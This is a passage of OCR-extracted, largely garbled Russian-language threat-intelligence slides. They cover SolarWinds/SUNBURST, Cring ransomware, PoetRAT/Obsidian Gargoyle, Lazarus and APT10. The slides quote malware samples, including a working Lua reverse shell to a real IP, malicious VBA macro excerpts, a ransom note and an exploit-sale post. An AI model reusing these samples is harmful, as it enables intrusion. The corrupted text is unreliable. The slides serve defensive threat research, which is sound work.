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N3 aTol npe3eHTaumm Bbl y3HaeTe 3

Kakue aTtakyrouwme:

e CTaBAT HalW aHTMBUPYC U NtobAaT noa3uto LLlekcnupa

* Hapaay c MHAYCTPUANbHBLIMKU LUINMOHCKMMW aTakamu 3apabaTtbiBatoT cebe pUHAHCOBbIMM aTakaMM Ha
xneb (nnn Ha puc)

* He moryT coBnagatb C BE/IMKUM M MOFY4YMM, HECMOTPSA Ha NONYAAPHOCTb B CTPAHE POCCUMIACKOro KMHO

A Takxe:

* [loyemy He ToNbKO cnywaTtenn kKypcos SkillBrains npegnouuntatoT yumtb Python

* Kak npaBW/IbHO UCKaTb «TOT CaMblii cnea» B aTakax

* Kro aBnsetcsa cambimu bonbliMmn KnbepubiraHamu m npoBogAT 6onblue BCero MHAYCTPUAbHbIX aTak

* Kakue nocnaHmA OCTaBAAKOT BUpPYycOnucaTenm nccaegosatenam BpegoHOCOB
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SolarWinds

YT1o npomnsowno:

* B pekabpe 2020 6bi1a 0O6HapyXKeHa KpynHenLwan aTaka Ha LLenoyKy NoCTaBOK C
ncnonb3oBaHmem SolarWinds Orion IT

* YctaHoBKa 63Kkaopa SunBurst

* Bo3MOKHOE KO/INYeCTBO NoJsib3oBaTenemn c 6akgopom - 18 000

* 3aTPOHYTO MHOXECTBO OpraHM3auuii pasinyHoro npoduas

Source: https://www.fireeye.com/blog/threat-research/2020/12/evasive-attacker-leverages-solarwinds-supply-chain-compromises-with-sunburst-backdoor.html



SolarWinds

¥ main ~  research / sunburst / unig-hostnames.txt

bapril Adding data from DNSDB (+ numeric sorting ipv4 list)

A3 2 contributors

1722 lines (1722 sloc) 108 KB
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e4rorndpeaom5fq5g6pl.appsync-api.us-west-2.avsvmcloud. com
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SolarWinds

OB6LWUN NPOLEHT NPOMbILLNIEHHbIX OpraHmn3aumi c 6akgopom SunBurst cpeamn
BCEX OPraHMU3aLni COracHO aHanM3y pacwmndpoBaHHbIX AOMeHOB - 32,4%
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Sunburst: XepTsbl = Llenn

Here is the full list of internal AD domain names from the SUNBURST deployments in
VriesHd's DNS data that actually did enter Stage 2 operation according to our analysis:

» central.pima.gov (confirmed)

SUNBURST

Targets
Identified

SUNBURST Victim Name Server

e cisco.com (confirmed)
corp.qualys.com (confirmed)
* coxnet.cox.com (confirmed)
e ddsn.gov

« fc.gov

» fox.local

* ggsg-us.cisco.com

e HQ.FIDELIS (confirmed)

e jpso.gov

« lagnr.chevrontexaco.net

« logitech.local

* los.local

e mgt.srb.europa* (confirmed)
e ng.ds.army.mil

« nsanet.local (not the NSA)

» paloaltonetworks* (confirmed)
» phpds.org

e scc.state.va.us (confirmed)

e suk.sas.com
vgn.viasatgsd.com

e wctc.msft

WincoreWindows.local

Source: https://www.netresec.com/?page=Blog&month=2021-01&post=Twenty-three-SUNBURST-Targets-Identified



SolarWinds: kTo ctouTt 3a atakon?

THE WALL STREET JOURNAL. Subscribe | Signn

US. Politics Economy Business Tech Markets Opinion Books & Arts Real Estate Life&Work WSJ.Magazine Sports O\

With SolarWinds Hack, Suspected Russian Hackers
Again Flex Moscow’s Spycraft Muscle

Cyber intrusion sends a message to the West that years of sanctions haven’t deterred Russia’s
security apparatus from conducting broad-based operations, analysts say

Technology and
capital markets
- what’s your
next move?

WATCHNOW

UPCOMING EVENTS >

A suspected Russian cyberattack of the federal government has breached at least six
cabinet-level departments. WSJ’s Gerald F. Seib explains what the hack means for Sep

Nearidant alact laa Didan/c nntinnal cacovibo affavke Dhataillonds

2:00 PM - 2:30 PM EDT

e ~ Commiinitv Conver<catinng:



SolarWinds: kTo ctouTt 3a atakon?

Kazuar (Turla APT) SunBurst
_ _ _ 1 private static ulong GetHash(string s)
1 public static ulong bu(string pK) 2
2 { 3 ulong num = @xCBF29CE484222325UL ;
3 byte[] bytes = Encoding.UTF8.GetBytes(pK); 4 try
4 ulong num = @xCBF29CE484222325UL ; 5 {
5 ulong num2 = @x69294589840FBOESUL ; 6 foreach (byte b in Encoding.UTF8.GetBytes(s))
6 ulong num3 = @x100000001B3UL ; . S T
; gor (int i = @; 1 < bytes.lLength; i++) 9 num *— Ox100000001B3UL ;
9 num A= (ulong)bytes[i]; ﬁ 1 }
10 num *= num3; 12 catch
11 } 13 {
12 return num A numZ; 14 1
13 } 15 return num A @xSBACOQ3BA7D81967UL;
16 1}

Source: https://securelist.com/sunburst-backdoor-kazuar/99981/
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mj deReadMe!!!.txt — Bnokmor = | B |-

Paiin [Ipaeka Dopmar Bwg  Cnpaska

Sorry, your network is encrypted, and most files are encrypted using special technology. The -
file cannot be recovered by any security company. If you do not believe that you can even
consult a security company, your answer will be that you need to pay the corresponding fees,
but we have a good reputation. After receiving the corresponding fee, we will immediately

send the decryption program and KEY. You can contact us to get two file decryption services,
and then you will get all decryption services after paying our fee, usually the cost is about 2
bitcoins. Contact: eternalnightmare@tutanota.com  gkhooks0708@protonmail.com
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Cring
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ybersecurity &

) nastructure e Cybersecurity Advisory

ecurity Agency

Russian SVR Targets U.S. and Allied Networks

Executive summary

Russian Foreign Intelligence Service (SVR) actors (also known as APT29, Cozy Bear, and The Dukes) frequently use
publicly known vulnerabilities to conduct widespread scanning and exploitation against vulnerable systems in an effort to
obtain authentication credentials to allow further access. This targeting and exploitation encompasses U.S. and allied
networks, including national security and government-related systems.

Recent Russian SVR activities include compromising SolarWinds® Orion® software updates,'! targeting COVID-19
research facilities through deploying WellMess malware 2! and leveraging a VMware® vulnerability that was a zero-day at
the time for follow-on Security Assertion Markup Language (SAML) authentication abuse.E! SVR cyber actors also used
authentication abuse tactics following SolarWinds-based breaches.! !

The SVR has exploited—and continues to successfully exploit—software vulnerabilities to gain initial footholds into victim
devices and networks, to include:

CVE-2018-13379 Fortinet®2l
CVE-2019-9670 Zimbra®2!
CVE-2019-11510 Pulse Secure®z!
CVE-2019-19781 Citrix®.2l
CVE-2020-4006 VMware®:!

14
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Fortinet SSL VPN sslvpn_websession 6.7GB [CVE-2018-13379]

by arendee2018 - 41 minutes ago

% arendee2018

this is the most complete achieve containing all exploit links and sslvpn_websession files
not available anywhere else
6.7GB uncompressed

https://anonfiles.com/

-

archive password
M.V.P User
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Obsidian Gargoyle:kTo Takue 17

* HoBasArpynnMpoBKa Ha MMPOBOM apeHe

e ATaKylOT pa3/inyHble opraHunsaunm AzepbanakaHa c KoHua 2019, B Tom uncne
rocygapcTBeHHble, HepTerasosble, SHEPreTUYeCcKne, TPAHCNOPTHbIE

° npOBO,EI,FIT dTakKn C NMOMOLLbIO Be6 1 no4YToBOrO (I)MLUMHI'a

*  Mcnonb3yloT WMPOKO AOCTYNHble yTUAUTLI ¢ GitHub, a Takke cBoM KacTomMHbIM 63KA0P Ha
MutoHe PoetRAT

* B nocnegHux aTakax nepekntounamcb Ha Lua ckpmunTtol

* MHoroo6pasunellO c uenbto Kparkm MHPopmaLumm



Obsidian Gargoyle
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Azarbaycan Respublikasi Nazirlar Kabineti
yaninda operativ garargahin

Koronavirus infeksiyas) {COVID-19) dinmya &lkalar arasinda siratle
yayllmagdadavam edir. Virusun uzun inkubasiya diévrinin olmas,
yayllma surati va vaksinin hals da tapiimamas divlstlaridaha da
cidditadbirlar gbrmaya stvq edir. Umumdiinya Sahiyya Taskilah
tarafindan koronavirus infeksivasinin global pandemiyaelan
olundudunu nazara alarag va viusun garsisinin alinmas
istigamatindaUmumdiinya Sahiyys Taskilatimintévsiya va
talablarindanirali galarsk dlkaarazisinds birsira taximsalinmaz
tadbirlarin hayata kecirlmasi zarurati yaranmis dir. Bununla slagadar
bir ay middatinda kitlavitadbidarntaxira salnmasi garara alinmisdir.
Hamcinin, divistvaizal sektoraaid qurumlardan, vatandaslardan
xUsusi gaydalara cidd riayat etmalar talab olunur.
Azarbaycan Respublikasi Mazirlar Kabineti yaninda O perativ
Qarargah 14 mart 2020-ci il saat 00:00-dan etibarsn dlkasrazisinda
tatbig olunacaq bazi sosializolyasiva tadbirlarini diggatagatdinn
*alkalzra biitin kitlevi tadbidar, o cimladan madani-idman
tadbirlan taxira salinir, arbigtayin olunmus tadbidann tarii
dayigdirilir,

Virusa
yoluxan

Yeni yoluxan Sagalan Olum hala

AZORBAYCANDA
VOZIYYOT

A —— G e W e —

lrm VIrusy mehv ecmays imkan venr Xeyr,
QITRAN 3MaQ Ugun lern@ vt tarktd ve
a5 Oag 3AMAL o ¥ ) 130000 yumag

ha etdark resprator masialar) teicae atfade
jedin Dier. Xayr, Dund Caa verime
aberdvieyl Wmpa koronavirasy mehy etmeys
ovieyi radianiya vinaa SEGE Tk eter,
A3 SA080 ola i

[an sathe simae 32tk G gmale

jyr, bedane artiq daxd oimuy vieestan bu yola

847

Aktiv
koronavirus
xostosl
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Obsidian Gargoyle: makpoc B Hauane 2020

‘Run

Call Shell("""" & User & "\Python37\python.exe" & """ """ & User & "\Python37\launcher.py" & """", vbHide)

End Sub

Function bin2var(filename As String) As String

'Which alters when it alteration finds,
'Or bends with the remover to remove.
Dim f As Integer
f = FreeFile()
Open filename For Binary Access Read Lock Write As #f
bin2var = Space(FilelLen(filename))
Get #f, , bin2var
Close #f
'O no! it is an ever-fixed mark
'That looks on tempests and is never shaken;

End Function

"It 1s the star to every wand'ring bark,

'Whose worth 's unknown, although his height be taken.
‘Love 's not Time's fool, though rosy lips and cheeks
'Within his bending sickle's compass come;

Sub var2bin(filename As String, data As String)

'If this be error and upon me prov'd,
‘I never writ, nor no man ever lov'd.
Dim f As Integer
f = FreeFile()
Open filename For Output Access Write Lock Write As #f
Print #f, data;
Close #f
End Sub
'Love alters not with his brief hours and weeks,
'But bears it out even to the edge of doom.

-=)

CoHet 116 B nepesoge Camymnna MapLuaka

NoboBb - Hag bypen NOAHATBLIA MasK,

He mepKHyLWmMin BO MpaKe 1 TyMaHe.
JTtoboBb - 3B€34a, KOTOPOK MOPSAK
Onpenenaer mecTo B OKeaHe.
NTtob0oBb - HE KYKAA ankasa B pyKax
Y BpemeHu, cTmparouLero posbl

Ha nnameHHbIX yCTax U Ha WeKax,

N He cTpallHbl e BpEMEHU Yrpo3bl.
A ecnu A He NpaB U JIXKET MOW CTUX,
To HeT NtobBU - N HET CTUXOB MOMX!

19



Obsidian Gargoyle: makpoc B ceHTs16ps 2020

jttribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False

Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True

Attribute VB_TemplateDerived = True
Attribute VB Customizable = True

“Above all, don't lie to yourself. The man who lies to himself and listens to his own lie comes
to a point that he cannot distinguish the truth within him, or around him, and so loses all
respect for himself and for others. And havinE no respect he ceases to love.”

Sub document_open()

20

TaBHoe, camomy cebe He nruTe. JIrywmii camomy

cebe 1 cobCTBEHHYIO N10XKb CBOIO C/YLLAMOLWMIA A0
‘ TOr0 A0XO4MT, YTO YK HMKAKOM NpaBabl HA B

cebe, HM Kpyrom He pasaMyaerT, a cTano bbiTb

'intelligence and a deep heart. The really great men must, I think, have great sadness on earth.” BXOAUT B HEyBa*KeHue n Kcebeu K Apyrum.

Dim argumentl As String
Dim argument2 As String
Dim argument4 As String
Dim argument3 As Object

argument4 = "C:\Users" + "\Public"

'“To_go wrong in one's own way is better than to go right in someone else's.” #
argument5 = ActiveDocument.FullName

'“Man is a mystery. It needs to be unravelled, and if you spend your

Call Shell("cmd /c copy " + argument5 + " " + argument4 + "\mew.doc", vbHide)
'whole life unravelling it, don't say that you've wasted time.
halt (4)

'I am studying that mystery because I want to be a human being;:

argument2 = coca2pepsi(argumentd + "\mew.doc")

argument2 = Right(argument2, 3215415)

'‘God and the devil are fighting there and the battlefield is the heart of man.”
pepsi2coca argument4 + "\mew.zip", argument2

argumentl = VBA.FileSystem.Dir(argument4 + "\Mew", vbDirectory)
If argumentl <> VBA.Constants.vbNullString Then
'“You can be sincere and still be stupid.”

CoBpaTb N0-CBOEMY — Be/Ab 3TO MOYTU Aiyylle,
4yem npasaa Nno O4HOMY MO-YyKoMy;

Y’KacHO TO, YTO KpacoTa eCTb He TONbKO
CTpallHan, HO U TAMHCTBEHHAsA Belb. TyT AbABON
c borom 6opeTca, a none 6UTBLI — cepaLa
noaen.



Obsidian Gargoyle tester

2020-02-26 15:58:42
2020-02-26 15:58:42
2020-02-27 08:56:50
2020-03-16 11:06:08

FO1F1836B5FB4D4C11EA24F02DBOA7CH
CEAAS5817A65E914AA178B28F12359A46
B13F39FSDEC47DF806D69A2C4AF95E3D
6A9E1020D10DEEB4C4008C5A86894CB2
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%Documents%\pasue.exe

%ProgramFiles%\microsoft office\officel2\winword.exe
%Desktop%\puppy.ppsx
%LocalTemp%\tmptl2sf0aS\vostro\hards\browsers\mozilla.py



Mouemy Python? [Mouemy Lua?
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E l d4b7e4870795e6f593c9b3143e2ba083cf12ac0c79d2dd64b86927800247¢247
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& virustotal.com/qui/file/d4b7e4870795e6f593c9b3143e2ba083cf12ac0c79d2dd64b869278b0247c247/detection/f-d4b7e4870795e6f593c9b3143e2bal83cf...

Security vendors' analysis on 2020-04-18T04:52:41 ~

AhnlLab-V3

ZoneAlarm by Check Point

AegisLab

Antiy-AVL

Avast

AVG

Baidu

BitDefenderTheta

CAT-QuickHeal

CMmC

Cynet

DrWweb

0]
0]

© © ® ® ©® ® ® O 6 06

Trojan/Python.Poetrat

Backdoor.Python.Poetic.c

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Undetected

Kaspersky

Ad-Aware

AlYac

Arcabit

Avast-Mobile

Avira (no cloud)

BitDefender

Bkav Pro

ClamAV

Comodo

Cyren

Emsisoft

—
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Help
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Backdoor.Python.Poetic.c
Undetected
Undetected
Undetected
Undetected
Undetected
Undetected
Undetected
Undetected
Undetected
Undetected

Undetected

&
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Lazarus:kTo Takue

* [pynna, KOTOPYIO CBA3bIBAIOT C NpaBuTesnbctBom CeBepHon Kopeu

e AKTMBHa no KpanHen mepe ¢ 2009 roga

* B camom Havasne nossseHus 6blna cocpeaoTo4YeHa B OCHOBHOM Ha aTaKax Ha
opraHusauum B KOxxHon Kopee, B HacToawee Bpemsa reorpadpuma obLmnpHa

 Haunbonee nssectHa no B3nomy Sony Pictures n wmndpposanbmnky WannaCry, ot KoToporo
noctpaganv bonee 150 cTpaH

* MmetloT B cBOEM apceHasie BPeAOHOCHbIE MPOrpaMmbl MOYTM AndA BCex NAaThopm:
Windows, MacOS, Linux n Android

* [lpoBOAAT aTaKM C LeNblo KNHbepLNMOHaXa, a TaKKe aTakm ¢ PUHAHCOBOM BbIro40M
NperumyLLeECTBEHHO HAa GUHAHCOBbIE YYPEKAEHNA, KOPUNTOOUPKKN U Np.

*  YHMKanbHaA rpynnaHa «camoobecrneyeHnm»



Lazarus: kamnaHuna npoTuB 060pOHHbIX NpeanpusaTuii ¢ ucnonb3osaHnem ThreatNeedle
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Lazarus: kamnaHusg npoTe 060POHHbIX MpeanpuaTuii ¢ ucnonb3osaHmem ThreatNeedle

Mg1 GECH}’H{IIBHEM CITIIIIKOM MHOTO JTIOIEH B JdCHE.

Mzur CTapacMCH TH00e3HOo CIYAIITE BCCM, HO HHOT A 5TH HPGEHEMLI BOZHHIKAHKT.

A OTIIPABIRD BIIOAKCHIIC HAIIPAMYERD, HG}KETI}’ﬁCTE. HAIIIIITE MOE BIOXKEHIIE.

C yBaxkeHHeM,

3amecTHTeNb TJIABHOTO Bpata I10 JIededHOI paboTe
OAO

Tel. +7
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Lazarus: kamnaHuna npoTuB 060pOHHbIX NpeanpusaTuii ¢ ucnonb3osaHnem ThreatNeedle

 TOMORROW >
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Andariel

* [logrpynna Lazarus
* ®@unHaHCOBbIE aTaKN, B TOM YNC/IE N PaHHME HAa BaHKOMaTbI
* Banpene 2021 npoBogusia ataky, B TOM YUCie Ha MPOMbILLIEHHbIe OPraHn3auumn B

KOxkHOM Kopee, ¢ nCcno/sib30BaHMEM KaCTOMHOTO WN@pPOBanbLUMKa

o)
Manufacturing
Home-network service ETE

Media
Construction H-F

Source: https://securelist.com/andariel -evolves-to-target-south-korea-with-ransomware/102811/
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APT10

* KuTancKkoAsblyHaA rpynna 5

* AkTtmMBHa ¢ 2009 roaa
* B Havane obHapyrkeHUs aTakoBasa 060poHHble Npeanpuatnua CLUA v rocyupexkaeHuns

* [lo3Ke 3HaunTenbHO pacwupuna reorpaduto u NPodPuab OpraHU3aLUn
(npombiWwneHHble, aHepreTuyeckmne, aBTomobunbHble, MSP, ISPs, meguumHcKne 1 14.)

* B HacToAwee Bpema reorpadua aTak octaeTca oblmMpHa, HO OCHOBHOM POKYC —
ANOHCKME OPraHM3aLmnmM N UX AoYepHUe NPeanpusaTUa No BCemy Mmpy

* LUenb aTak — cTpaTernyeckas passeKa

* B apceHane rpynnbl MHOXECTBO OPEN SOUrce MHCTPYMEHTOB, BPeA0HOCOB APYrnX
KMTancKkoAsblYHbIX rpynn (PoisonlVY, PlugX) n cobctBeHHbIX



APT10: kamnaHunsa A41APT

* KamnaHuA Ha ANOHCKME NPOMbILIIEHHbIE KOMNaHUK ¢ OKTAGpPA 2019 no aekabpb 2020 3

* ATtaKkywouwme ncnonbzosann uma xocta DESKTOP-A41UVIV gna B3noma ceccmm v
NPOHMKHOBEHUA BO BHYTPEHHE CeTb Yepe3 yasBmumocTn Pulse Secure SSL-VPN

e JPCERT TaK»Ke coobLan o noxoxKmnx atakax Ha SSL-VPN

B HEKOTOPbIX C/ZTy4aAX aTakKyroWUne NCnos1b3oBasin yxKe paHHEE YKPpadEeHHbIE Kpedbl

VPN Tunneling: Session started for user with IPv4 address X - , hostname K2 F8

VPN Tunneling: User with IP . : connected with SSL transport mode.

Closed connection to TUN-VPN port after 6 seconds, with @ bytes read (in 1 chunks) and bytes written (in 6 chunks)
VPN Tunneling: User with IP . : connected with ESP transport mode.

Key Exchange number 1 occurred for user with NCIP

VPN Tunneling: Session ended for user with IPv4 address :

Closed connection to £ XX after seconds, with bytes read and bytes written

VPN Tunneling: Session started for user with IPv4 address : .X.X, hostname DESKTOP-A41UVIV

Connected to TUN-VPN port

Key Exchange number 1 occurred for user with NCIP

+

Remote address for user < FX 4 _//21—*7H> changed from 21—

Source: https://blogs.jpcert.or.jp/en/2020/04/attacks -exploiting-vulnerabilities-in-pulse-connect-secure.html



APT10: kamnaHunsa A41APT

Ecipekacloader

DLl ﬁ"; oLl ﬁ’; E(h
jli.dll Lgr I Layesr'.lslm:[mE Layerﬁ Laves'rﬂl-t/nlmE PSR?'IY’LDAD

JD Decrypt
diaiod JEAE ‘Ul.ll YOR > AES DLL AES > XOR
ENC DATA

Legitimate ENC DATA
policytool.exe vac.dll pcasvc.dll

General  Digisl Sgnatures Secutty Detals  Previous Versions

;;;;;;;;

Name of signer Digest agortbm ~ Tevestamp
Mcrosoh Windows 3ha256 Fiiday. Septenber 14,

Detais

Issued by: Maosoft Windons Production FCA 2011

Vabd from 7/3/2018 to 7/26/2015




APT10 n Obsidian

Gargoyle

APT10

Ecipekac YAnt der
DLL NET NET
SHELLCODE PAYLOAD ﬁ PAYLOAD
Layer| ... IV La \ Laye QuasarRAT
add ri2, rdi
add rlo, rdi Decrypt
mov [rsp+2950h+var_270], | 'kcuF' BIN AES
mov [rsp+290h+var_26C], | 'AucY’
mov [rsp+250h+var_268],| 'itn’ BNC DATA
mov edx, eax . .
test ri3d, ri3d web_lowtrust.config.uninstall

operator sent us a text file named 'FUCK-YOU.txt" with hundred of lines of explitives.

Source: https://blog.talosintelligence.com/2020/10/poetrat-update.html

This script downloads and executes an additional payload. We did not receive the payload. However, the

)

Obsidian
Gargoyle

local host, port = '111.90.149.218', 443
local socket = require('socket')

local tcp = socket.tcp()

local io = require('io')

tcp:connect (host, port);
while true do

local cmd, status, partial = tcp:receive()
local f = io.popen(cmd, ‘r')
local s = f:read('*a')
ficlose()
tcp:send(s)
if status == 'closed’

then

break

end
end
tcp:close()
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MoTuneauns n Tpurrepbl pna APT akTopos

Monutnyeckas Hanpa*keHHocTb (Obsidian Gargoyle, APT10, SolarWinds?)
-> KnbepLunmoHax

-> NoApPbIB AeATENbHOCTU

“OnepaumnoHHana aeatTenbHOCTb”

-> KnbepwnmoHax (APT10, Lazarus)
-> punHaHcoBbIM NpoduT (Andariel, Cring ransomware)

-> noApbiB AeaTenbHoCcTN? (ransomware)
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OT koro Bbl xXoTUTE 3aWMaTbCca?
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1. Reconnaissance

e OSINT
e Publicavailable
sources

2. Weaponization

Spear-phishing

emails

Waterhole sites
Credentials theft

3. Installation/Lateral 4. Command and

movement

e Various malicious
or even legal tools
e Phishingemails
frominside

Control

e Communication
with the actor’s
server

5. Action

* Stealingdocs
* Making changes
In the configuration
* Uploadinga
Programto the
controller



3akJiioueHve
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* |CS Threat Landscape pa3Ho06pa3HbIi C pa3HON MOTUBALMEN

* [pann mexay APT n Crimeware cmbiBatoTCA

 Ransomware-as-an-APT HaHOCAT raBHbIN yaap

* Ectb HamHoro 6osblue MHUNAEHTOB, YEM Mbl 3HAEM N AYMAEM

* [louyTn BCe nsBectHble APT «ymetoT» paboTaTb Ha MHAYCTPUANbHbBIX OObEKTaxX
* bonbwmnHCcTBO APT aKTOPOB YMEIT «NepenpbirMBaTb» Yepes air gap

e Camyto 60/1bLIYIO KAPTUHY BCEM aTaku gaeT IR
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